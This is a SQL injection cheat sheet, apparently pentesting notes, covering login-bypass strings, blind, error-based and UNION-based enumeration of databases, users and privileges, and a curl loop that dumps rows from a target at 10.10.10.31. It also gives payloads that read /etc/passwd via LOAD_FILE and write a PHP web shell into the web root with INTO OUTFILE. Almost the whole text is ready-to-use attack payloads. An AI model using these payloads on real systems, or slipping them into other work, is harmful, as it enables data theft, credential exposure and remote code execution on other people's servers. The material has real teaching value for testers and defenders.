SQLi
Always test both "
and '
Play also with LIMIT to spot changes on the response that you may not see otherwise:
' or 1=1 limit 0,1-- -
Authentication Methods
Direct Username/Password Query
PHP Example
$query = "SELECT * FROM users WHERE username='$user' AND password='$pass'";
Both parameters are directly concatenated without sanitization. In this case is possible to use a classic OR
injection to make condition always true:
Comment out password check
admin'--
Always true condition
' OR '1'='1'--
' or 1=1-- -
" or "1"="1
Sometimes the password field may appear before the username. To determine the structure, use brackets:
"))--
Row Count Validation
PHP Example
$result = mysqli_query($conn, "SELECT * FROM users WHERE username='$user' AND password='$pass'");
if(mysqli_num_rows($result) == 1) { /* login */ }
Use UNION
to control row count or manipulate the condition:
If you need exactly one row
admin' UNION SELECT 1,2,3--
Username First, Then Password Check
PHP Example
$query = "SELECT password FROM users WHERE username='$user'";
Focus on username parameter, password validation happens later
Bypass to get the hash
admin'--
Blind SQL
Use a delay to know if there is a injection
' OR SLEEP(5) --
Ask questions to application; this query asks if there is any user starting by a:
UNION select user,2,3 from mysql.user where user like 'a%'-- -
Extract data through error messages
' AND extractvalue(1, concat(0x7e, (SELECT database()), 0x7e))-- -
Boolean-based
' AND (SELECT SUBSTRING(database(),1,1))='a'-- -
Determine how many columns are in the query
ORDER BY
' order by 1-- -
' order by 1,2-- -
UNION
' union select 1-- -
' union select 1,2-- -
Once you know the number of columns, check which column is rendering the results:
' UNION SELECT 1,'test',3,4-- -
Once you know which column renders visible data, use LIMIT to retrieve data row by row:
' UNION SELECT 1,username,3,4 FROM users LIMIT 1,1-- -
You can also use GROUP_CONCAT
as an alternative to LIMIT
, especially when you don’t want to retrieve each row individually but rather aggregate all the data from one or more columns in one query:
' UNiON SELECT 1,group_concat(schema_name),3,'a@b.c' from information_schema.schemata-- -
Using curl can be very useful for enumerating databases via the LIMIT clause.
URL="http://10.10.10.31/cmsdata/forgot.php"
PAYLOAD="email=a@b.c' UNION SELECT NULL, username, email, NULL FROM users LIMIT \${i},1;-- -"
START=1
END=1000
FIELD=2 # Assume username is in the second column
TAG="<td>" # We're looking for data in <td> tags
FILTER="^with" # Exclude lines starting with "with"
for i in $(seq $START $END); do
response=$(curl -s "$URL" --data-urlencode "$(echo $PAYLOAD | sed "s/\${i}/$i/")")
echo "Fetching row $i"
echo "$response" | grep "$TAG" | awk "{print \$$FIELD}" | grep -v "$FILTER" || break
done
Enumerate the Database
Current Database
union select 1,2,3,database()--
Database version
' UNION select 1,@@version,3,4-- -
Current User
' UNION SELECT 1,user(),3,4-- -
Database Schema
' union select 1,2,3,concat(schema_name, ':') from information_schema.schemata-- -
Check database's tables
' union select 1,2,3,concat(table_name, ':') from information_schema.tables where table_schema = 'database'-- -
Check how many columns there are in a table:
' union select 1,2,3,concat(column_name, ':') from information_schema.columns where table_name = 'table'-- -
Look the content of the columns:
' union select 1,2,3,concat(column1, ':', column2, ':', column3, ':', column4) from user-- -
Privileges
Check Admin privileges
' UNION SELECT 1, super_priv, 3, 4 FROM mysql.user WHERE user="root"-- -
Check permissions from the root
' UNION SELECT 1, grantee, privilege_type, is_grantable FROM information_schema.user_privileges WHERE grantee="'root'@'localhost'"-- -
Check Which Files can be accessed
' UNION SELECT 1, variable_name, variable_value, 4 FROM information_schema.global_variables where variable_name="secure_file_priv"-- -
File Injection
Read local file
' UNION SELECT 1, LOAD_FILE("/etc/passwd"), 3, 4-- -
Write a string to a local file
`select 'file written successfully!' into outfile '/var/www/html/proof.txt
Creates a webshell
' union select "",'<?php system($_REQUEST[0]); ?>', "", "" into outfile '/var/www/html/shell.php'-- -
Last updated